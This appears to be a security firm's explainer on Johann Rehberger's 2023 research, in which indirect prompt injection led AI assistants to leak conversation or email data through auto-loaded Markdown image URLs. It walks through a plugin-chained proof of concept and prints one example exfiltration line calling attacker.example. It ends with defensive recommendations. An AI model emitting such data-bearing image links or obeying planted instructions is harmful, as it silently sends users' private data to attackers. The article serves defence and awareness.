Through 2023, security researcher Johann Rehberger documented a class of attack on his Embrace The Red blog that turned a friendly feature into an exfiltration channel. The ingredients were ordinary: an AI assistant that can read external content, and one that can render Markdown images. Combined with prompt injection, they let an attacker steal data from a conversation without the user clicking anything.

The mechanism hinges on how chat interfaces render images. When an assistant outputs Markdown like ![](https://example.com/pic.png), the client fetches that URL to display the picture. The fetch is automatic. And a URL can carry data in its query string. If an attacker can make the model emit an image whose address encodes secrets, the victim's browser will silently send those secrets to the attacker's server the moment the image loads.

Data smuggled inside an image request![loading](https://attacker.example/logo.png?d=BASE64_OF_YOUR_PRIVATE_CHAT_OR_EMAIL)

Where the malicious instruction comes from

The user never types the attack. It arrives through indirect prompt injection: hidden instructions planted in content the assistant reads on the user's behalf. Rehberger demonstrated the attack with a poisoned web page. In a chained proof of concept from May 2023, the assistant read a booby-trapped page through the WebPilot plugin, used the Zapier plugin to fetch the victim's latest email, and sent the contents out through a crafted request. The user only asked an ordinary question about a page.

The Invisible Pixel: Stealing Data Through a Chatbot's ImagesDiagram with these labels, in reading order: UNTRUSTED CONTENT; AI ASSISTANT; ATTACKER SERVER; injection; exfil; Poisoned external; content / injection; AI assistant follows; the instruction; Encodes secret into; a Markdown image; Client auto-loads; from attacker server; Passive image load; exfiltrates, no; click.UNTRUSTED CONTENTAI ASSISTANTATTACKER SERVERinjectionexfilPoisoned externalcontent / injectionAI assistant followsthe instructionEncodes secret intoa Markdown imageClient auto-loadsfrom attacker serverPassive image loadexfiltrates, noclick
A rendered image becomes a silent exfiltration channel.
Why it matters: The victim takes no risky action: no click, no download. Rendering an image is passive and trusted, which makes an auto-loaded image a covert channel for pulling data out of an AI conversation.

The fix, and why it took architecture not prompting

Telling the model to “not leak data” does not patch this, because injection works by making the model follow instructions it should not trust. The durable fixes are structural: validating or restricting the image URLs an assistant may render, or constraining outbound requests to approved destinations. If the client refuses to fetch arbitrary attacker-controlled URLs, the channel closes regardless of what the model was tricked into emitting.

  • Control where the client can send requests. Restrict image and link destinations to allow-listed domains, or route rendering through a proxy that strips data-bearing parameters.
  • Treat all retrieved content as untrusted input. Web pages, documents, and emails an assistant reads may contain instructions. They must never be handled with the same trust as the user's own words.
  • Separate data channels from instruction channels. The more an assistant can autonomously fetch and render, the larger its exfiltration surface. Scope those capabilities deliberately.
  • Log outbound requests from AI clients. Unexpected calls to unfamiliar domains, triggered by content the model read, are a signal worth alerting on.

The broader shape of the risk

Rehberger's research, which he reported to vendors before publishing, described a pattern that recurs in AI assistants with tools and rendering: the confused deputy. The assistant acts with the user's authority but on an attacker's instructions. As organizations wire assistants into mailboxes, wikis, and internal systems, every new data source the model can read becomes a possible injection vector, and every rendering or network capability a possible way out. You cannot defend an exfiltration path you have not enumerated, and you cannot enumerate the paths of an assistant you did not know your team connected to production data.

Primary source. ChatGPT Plugins: Data Exfiltration via Images & Cross Plugin Request Forgery, Embrace The Red, 16 May 2023.

Back to articlesRequest an assessment